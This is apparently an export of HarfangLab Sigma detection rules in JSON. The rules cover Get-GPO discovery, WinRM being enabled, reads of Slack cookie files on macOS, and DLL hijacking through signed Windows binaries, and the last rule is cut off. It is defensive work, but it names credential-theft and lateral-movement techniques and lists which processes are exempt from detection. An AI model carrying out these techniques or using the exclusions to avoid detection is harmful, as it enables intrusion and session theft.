+  "id": "729fe232-6628-4198-8f7f-d0a755c02c73",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.605796Z",
+  "creation_date": "2026-03-23T11:45:34.605799Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.605807Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1615/T1615.md#atomic-test-5---msft-get-gpo-cmdlet",
+    "https://attack.mitre.org/techniques/T1615/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1615_group_policy_discovery_powershell.yml",
+  "content": "title: Group Policy Information Discovered via PowerShell\nid: 729fe232-6628-4198-8f7f-d0a755c02c73\ndescription: |\n    Detects the access to group policy information using Get-GPO PowerShell cmdlet.\n    Adversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment.\n    It is recommended to investigate the process responsible for the GPO discovery to look for malicious content or other suspicious actions.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1615/T1615.md#atomic-test-5---msft-get-gpo-cmdlet\n    - https://attack.mitre.org/techniques/T1615/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/12/26\nmodified: 2025/01/13\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1615\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Discovery\n    - classification.Windows.Behavior.SensitiveInformation\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection_cmdlet:\n        PowershellCommand|contains: 'Get-GPO '\n\n    selection_arg:\n        PowershellCommand|contains:\n            - ' -Do '\n            - ' -Dom '\n            - ' -Doma '\n            - ' -Domai '\n            - ' -Domain '\n\n    exclusion_lepide:\n        ProcessParentImage:\n            - '?:\\Program Files (x86)\\Lepide Data Security Platform\\GPELMPro.exe'\n            - '?:\\Program Files (x86)\\Lepide Data Security Platform\\FSA\\LepideELMProPerm.exe'\n        PowershellCommand|contains: '; Get-GPO -GUID '\n\n    # https://support.microsoft.com/en-gb/topic/ms14-025-vulnerability-in-group-policy-preferences-could-allow-elevation-of-privilege-may-13-2014-60734e15-af79-26ca-ea53-8cd617073c30\n    exclusion_ms14:\n        PowershellCommand|contains|all:\n            - 'Function Enum-SettingsWithCpassword'\n            - '# GPMC tree paths'\n            - '# Recursively obtain all the xml files within the SYVOL location'\n            - '# Build GPO name from GUID extracted from filePath'\n            - 'Get-GPO -Guid $gpoGuid'\n\n    # https://www.powershellgallery.com/packages/GPOZaurr/0.0.155/Content/GPOZaurr.psm1\n    exclusion_gpozaurr:\n        - PowershellCommand|contains|all:\n            - '$GroupPolicies = Get-GPO @getGPOSplat'\n            - 'Get-GPOZaurr - Processing '\n        - PowershellScriptPath:\n            - '?:\\Program Files\\WindowsPowerShell\\Modules\\GPOZaurr\\\\*\\GPOZaurr.psm1'\n            - '?:\\Users\\\\*\\WindowsPowerShell\\Modules\\GPOZaurr\\\\*\\GPOZaurr.psm1'\n\n    exclusion_ninjarmm:\n        PowershellScriptPath: '?:\\ProgramData\\NinjaRMMAgent\\scripting\\\\**.ps1'\n\n    exclusion_asbuildreport:\n        PowershellScriptPath:\n            - '?:\\Program Files\\WindowsPowerShell\\Modules\\AsBuiltReport.Microsoft.AD\\\\*\\Get-AbrADOU.ps1'\n            - '?:\\Program Files\\WindowsPowerShell\\Modules\\AsBuiltReport.Microsoft.AD\\\\*\\Get-AbrADGPO.ps1'\n\n    exclusion_tenable1:\n        PowershellCommand|contains|all:\n            - 'function Get-ExistingGpoId {'\n            - '$installedGpoNames = @($GPODisplayName, \"Tenable for AD\", \"Alsid for AD\")'\n    exclusion_tenable2:\n        PowershellCommand|contains|all:\n            - 'function Check-ExistingGpos {'\n            - 'Write-Host \"[-] Checking whether IOA script is runnable.\"'\n    exclusion_tenable3:\n        PowershellCommand|contains|all:\n            - 'function Uninstall-ByGpo {'\n            - 'Write-Host \"[-] GPO name to be deployed: $CleaningGPODisplayName\"'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "729fe232-6628-4198-8f7f-d0a755c02c73",
+  "rule_name": "Group Policy Information Discovered via PowerShell",
+  "rule_description": "Detects the access to group policy information using Get-GPO PowerShell cmdlet.\nAdversaries may gather information on Group Policy settings to identify paths for privilege escalation, security measures applied within a domain, and to discover patterns in domain objects that can be manipulated or used to blend in the environment.\nIt is recommended to investigate the process responsible for the GPO discovery to look for malicious content or other suspicious actions.\n",
+  "rule_creation_date": "2022-12-26",
+  "rule_modified_date": "2025-01-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1615"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "72abdac0-7335-48c5-9b95-d61407043f00",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621241Z",
+  "creation_date": "2026-03-23T11:45:34.621243Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621247Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1021.006/T1021.006.md#atomic-test-1---enable-windows-remote-management",
+    "https://learn.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.2",
+    "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.2",
+    "https://attack.mitre.org/techniques/T1021/006/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1021_006_enable_winrm_powershell.yml",
+  "content": "title: WinRM Enabled via PowerShell\nid: 72abdac0-7335-48c5-9b95-d61407043f00\ndescription: |\n    Detects when Windows Remote Management (WinRM) is enabled via a PowerShell cmdlet.\n    Windows Remote Management is a common Windows service that is used to interact with a remote system and is used, in particular, by PowerShell Remoting.\n    This can be used by an attacker to move laterally within an organisation.\n    It is recommended to determine if this activity is legitimate by correlating any unusual authentications following this alert and to whitelist recurring configuration scripts.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1021.006/T1021.006.md#atomic-test-1---enable-windows-remote-management\n    - https://learn.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.2\n    - https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.2\n    - https://attack.mitre.org/techniques/T1021/006/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/11/04\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.006\n    - attack.execution\n    - attack.t1059.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains: 'Enable-PSRemoting'\n\n    exclusion_template_gpscript:\n        ProcessAncestors|contains: '?:\\Windows\\System32\\gpscript.exe|?:\\Windows\\System32\\svchost.exe'\n\n    # https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/remoting/commands/CustomShellCommands.cs\n    exclusion_function:\n        PowershellCommand|contains|all:\n            - 'function Enable-PSRemoting'\n            - 'Enable-PSSessionConfiguration @PSBoundParameters'\n            - '# Enable all Session Configurations'\n            - '# first try to enable all the sessions'\n            - '# Construct SID for network users'\n\n    # https://github.com/PowerShell/PowerShell/blob/master/src/System.Management.Automation/engine/remoting/commands/CustomShellCommands.cs#L3994\n    # Function Test-WinRMQuickConfigNeeded is used in Enable-PSRemoting to detect if Set-WSManQuickConfig needs to be run or not.\n    exclusion_function_test:\n        PowershellCommand|contains|all:\n            - 'function Test-WinRMQuickConfigNeeded'\n            - '# check if WinRM service is running'\n            - '$winrmQuickConfigNeeded = Test-WinRMQuickConfigNeeded'\n\n    exclusion_gehealthcare:\n        PowershellScriptPath:\n            - '?:\\Program Files\\GE Healthcare\\Solution Deployer Framework\\Modules\\Utility\\Connectivity.ps1'\n            - '?:\\Program Files (x86)\\GE Healthcare\\Solution Deployer Framework\\Modules\\Utility\\Connectivity.ps1'\n\n    exclusion_puppetlabs:\n        ProcessParentImage: '?:\\Program Files\\Puppet Labs\\Puppet\\puppet\\bin\\ruby.exe'\n        ProcessCommandLine|contains: 'powershell.exe -executionPolicy bypass -command *confWinrmHttps.ps1 '\n\n    exclusion_azure:\n        - ProcessParentImage: '?:\\WindowsAzure\\GuestAgent_*\\WindowsAzureGuestAgent.exe'\n        - ProcessGrandparentImage: '?:\\WindowsAzure\\GuestAgent_*\\WindowsAzureGuestAgent.exe'\n\n    exclusion_boxstarter:\n        ProcessParentCommandLine: '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s Schedule'\n        PowershellScriptPath: '?:\\ProgramData\\Boxstarter\\Boxstarter.Chocolatey\\\\*.ps1'\n\n    exclusion_ccm1:\n        ProcessParentImage: '?:\\Windows\\CCM\\CcmExec.exe'\n    exclusion_ccm2:\n        ProcessParentImage: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n        PowershellScriptPath: '?:\\WINDOWS\\CCM\\SystemTemp\\\\????????-????-????-????-????????????.ps1'\n\n    exclusion_manageengine:\n        ProcessCommandLine: '*;../lib/AdventNetUpdateManagerInstaller.jar;*'\n        ProcessParentImage: '*\\bin\\wrapper.exe'\n\n    exclusion_admincenter1:\n        ProcessParentImage: '?:\\Program Files\\WindowsAdminCenter\\Service\\WindowsAdminCenterLauncher.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Microsoft Corporation'\n    exclusion_admincenter2:\n        - ProcessProduct: 'Windows Admin Center (v2)'\n          ProcessParentSigned: 'true'\n          ProcessParentSignature: 'Microsoft Corporation'\n        - ProcessGrandparentProduct: 'Windows Admin Center (v2)'\n          ProcessGrandparentSigned: 'true'\n          ProcessGrandparentSignature: 'Microsoft Corporation'\n    exclusion_admincenter3:\n        PowershellScriptPath: '?:\\Program Files\\WindowsAdminCenter\\PowerShellModules\\Microsoft.WindowsAdminCenter.Configuration\\Microsoft.WindowsAdminCenter.Configuration.psm1'\n    exclusion_admincenter4:\n        ProcessCommandLine: 'Powershell.exe -WindowStyle Hidden -File ?:\\Packages\\Plugins\\Microsoft.AdminCenter.AdminCenter\\\\*.ps1'\n\n    exclusion_ninjarmm:\n        - ProcessGrandparentOriginalFileName: 'NinjaRMMAgent'\n          ProcessGrandparentSigned: 'true'\n          ProcessGrandparentSignature: 'NinjaOne LLC'\n        - ProcessAncestors|contains: '|?:\\Program Files (x86)\\\\*\\NinjaRMMAgent.exe|'\n\n    exclusion_wapt:\n        ProcessGrandparentImage: '?:\\Program Files (x86)\\wapt\\waptpython.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "72abdac0-7335-48c5-9b95-d61407043f00",
+  "rule_name": "WinRM Enabled via PowerShell",
+  "rule_description": "Detects when Windows Remote Management (WinRM) is enabled via a PowerShell cmdlet.\nWindows Remote Management is a common Windows service that is used to interact with a remote system and is used, in particular, by PowerShell Remoting.\nThis can be used by an attacker to move laterally within an organisation.\nIt is recommended to determine if this activity is legitimate by correlating any unusual authentications following this alert and to whitelist recurring configuration scripts.\n",
+  "rule_creation_date": "2022-11-04",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.006",
+    "attack.t1059.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "72bb29dc-a52f-43a7-ab84-f003a519cd50",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617660Z",
+  "creation_date": "2026-03-23T11:45:34.617662Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617667Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1539/"
+  ],
+  "name": "t1552_004_read_slack_sensitive_files_macos.yml",
+  "content": "title: Suspicious Access to Slack Sensitive Files\nid: 72bb29dc-a52f-43a7-ab84-f003a519cd50\ndescription: |\n    Detects a suspicious access to Slack files that hold cookies or sensitive files.\n    Adversaries may steal Slack application cookies and use them to gain access to the application without needing credentials.\n    It is recommended to verify if the process performing the read operation has legitimate reasons to do so.\nreferences:\n    - https://attack.mitre.org/techniques/T1539/\ndate: 2024/06/18\nmodified: 2025/10/29\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1539\n    - classification.macOS.Source.Filesystem\n    - classification.macOS.Behavior.SensitiveInformation\n    - classification.macOS.Behavior.CredentialAccess\nlogsource:\n    category: filesystem_event\n    product: macos\ndetection:\n    selection_version:\n        # define minimum version for each branches\n        - AgentVersion|gte|version: 3.6.13\n          AgentVersion|lt|version: 3.7.0\n        - AgentVersion|gte|version: 3.7.11\n          AgentVersion|lt|version: 3.8.0\n        - AgentVersion|gte|version: 3.8.3\n          AgentVersion|lt|version: 3.9.0\n        # all versions above are patched\n        - AgentVersion|gte|version: 3.9.0\n\n    selection_files:\n        Kind: 'read'\n        Path:\n            - '/Users/*/Library/Application Support/Slack/Cookies'\n            - '/Users/*/Library/Application Support/Slack/storage/*'\n            - '/Users/*/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/storage/*'\n            - '/Users/*/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies'\n        ProcessImage|contains: '?'\n\n    filter_slack:\n        ProcessImage:\n            - '/Applications/Slack*.app/Contents/Frameworks/Slack Helper.app/Contents/MacOS/Slack Helper'\n            - '/Applications/Slack*.app/Contents/MacOS/Slack'\n            - '/Users/*/Slack*.app/Contents/Frameworks/Slack Helper.app/Contents/MacOS/Slack Helper'\n            - '/Users/*/Slack*.app/Contents/MacOS/Slack'\n            - '/Volumes/Slack/Slack*.app/Contents/Frameworks/Slack Helper.app/Contents/MacOS/Slack Helper'\n            - '/Volumes/Slack/Slack*.app/Contents/MacOS/Slack'\n            - '/Volumes/Slack 1/Slack.app/Contents/Frameworks/Slack Helper.app/Contents/MacOS/Slack Helper'\n            - '/Volumes/Slack 1/Slack.app/Contents/MacOS/Slack'\n\n# Common exclusion\n    ### system app ###\n    filter_systemapp:\n        Image:\n            - '/System/Library/Services/*'\n            - '/System/Library/PrivateFrameworks/*'\n            - '/System/Library/CoreServices/*'\n            - '/System/Library/Frameworks/CoreServices.framework/*'\n            - '/System/Library/ExtensionKit/Extensions/*'\n            - '/System/Library/Frameworks/*'\n            - '/usr/sbin/filecoordinationd'\n\n    exclusion_systemextension:\n        Image|startswith: '/Library/SystemExtensions/????????-????-????-????-????????????/'\n\n    exclusion_virtualization:\n        Image: '/System/Library/Frameworks/Virtualization.framework/Versions/A/XPCServices/com.apple.Virtualization.VirtualMachine.xpc/Contents/MacOS/com.apple.Virtualization.VirtualMachine'\n\n    ### security tools ###\n    exclusion_hurukai:\n        Image: '/Applications/HarfangLab Hurukai.app/Contents/MacOS/hurukai'\n\n    exclusion_fortinet:\n        Image:\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fmon2.app/Contents/MacOS/fmon2'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/fcaptmon'\n            - '/Library/Application Support/Fortinet/FortiClient/bin/scanunit'\n\n    exclusion_microsoft_defender:\n        Image:\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon_enterprise.app/Contents/MacOS/wdavdaemon_enterprise'\n            - '/Applications/Microsoft Defender.app/Contents/MacOS/wdavdaemon'\n\n    exclusion_fsecure:\n        Image:\n            - '/usr/local/f-secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fscesproviderd.xpc/Contents/MacOS/fscesproviderd'\n            - '/Library/F-Secure/bin/fsavd.app/Contents/MacOS/fsavd'\n\n    exclusion_eset:\n        Image:\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_sci'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Endpoint Security.app/Contents/MacOS/esets_gui'\n            - '/Applications/ESET Endpoint Antivirus.app/Contents/MacOS/esets_daemon'\n            - '/Applications/ESET Cyber Security.app/Contents/MacOS/esets_daemon'\n    exclusion_withssecure:\n        Image:\n            - '/Library/WithSecure/bin/wsesproviderd.xpc/Contents/MacOS/wsesproviderd'\n            - '/Library/WithSecure/bin/wsavd.app/Contents/MacOS/wsavd'\n    exclusion_sentinel:\n        Image: '/Library/Sentinel/sentinel-agent.bundle/Contents/MacOS/sentineld_helper.app/Contents/MacOS/sentineld_helper'\n\n    exclusion_avast:\n        Image: '/Applications/Avast.app/Contents/Backend/utils/com.avast.Antivirus.EndpointSecurity.app/Contents/MacOS/com.avast.Antivirus.EndpointSecurity'\n\n    exclusion_trend:\n        Image: '/Applications/TrendMicroSecurity.app/Contents/Resources/iCoreService.app/Contents/MacOS/iCoreService'\n\n    exclusion_sophos:\n        Image: '/Library/Sophos Anti-Virus/SophosScanAgent.app/Contents/MacOS/SophosScanAgent'\n\n    ### backup sofware ###\n    exclusion_arq:\n        Image: '/Applications/Arq.app/Contents/Resources/ArqAgent.app/Contents/MacOS/ArqAgent'\n\n    # AtempoLiveNavigator\n    exclusion_hnagent:\n        Image: '/Library/Application Support/HN/base/bin/HNagent'\n\n    exclusion_wddesktop:\n        Image:\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/kdd'\n            - '/Library/Application Support/WDDesktop.app/Contents/Resources/wdsync'\n\n    ### misc\n    exclusion_vscode:\n        Image:\n            - '/Applications/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n            - '/Users/*/Visual Studio Code.app/Contents/Frameworks/Code Helper.app/Contents/MacOS/Code Helper'\n# end common exclusion\n\n    exclusion_phpstorm:\n        Image: '/users/*/applications/phpstorm.app/contents/macos/phpstorm'\n\n    exclusion_birdagent:\n        ProcessImage|endswith: '/bird_agent_stable'\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: '_bird_python_dbg'\n\n    exclusion_paloalto:\n        Image: '/library/application support/paloaltonetworks/traps/bin/pmd'\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId: 'pmd'\n\n    exclusion_cleanmymac:\n        ProcessSigned: 'true'\n        ProcessSignatureSigningId:\n            - 'com.macpaw.CleanMyMac*'\n            - 'com.macpaw.cmm-business'\n\n    condition: all of selection_* and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "72bb29dc-a52f-43a7-ab84-f003a519cd50",
+  "rule_name": "Suspicious Access to Slack Sensitive Files",
+  "rule_description": "Detects a suspicious access to Slack files that hold cookies or sensitive files.\nAdversaries may steal Slack application cookies and use them to gain access to the application without needing credentials.\nIt is recommended to verify if the process performing the read operation has legitimate reasons to do so.\n",
+  "rule_creation_date": "2024-06-18",
+  "rule_modified_date": "2025-10-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1539"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "7306d88f-f220-4e1d-9f13-19a06e2466e0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587199Z",
+  "creation_date": "2026-03-23T11:45:34.587203Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587211Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_tttracer.yml",
+  "content": "title: DLL Hijacking via tttracer.exe\nid: 7306d88f-f220-4e1d-9f13-19a06e2466e0\ndescription: |\n    Detects potential Windows DLL Hijacking via tttracer.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'tttracer.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\TTDRecord.dll'\n            - '\\USERENV.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "7306d88f-f220-4e1d-9f13-19a06e2466e0",
+  "rule_name": "DLL Hijacking via tttracer.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via tttracer.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "730f4da7-7e20-4f68-99bc-9f28d4c60594",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.592313Z",
+  "creation_date": "2026-03-23T11:45:34.592316Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.592324Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_microsoftedgedevtools.yml",
+  "content": "title: DLL Hijacking via microsoftedgedevtools.exe\nid: 730f4da7-7e20-4f68-99bc-9f28d4c60594\ndescription: |\n    Detects potential Windows DLL Hijacking via microsoftedgedevtools.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'microsoftedgedevtools.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\iertutil.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - 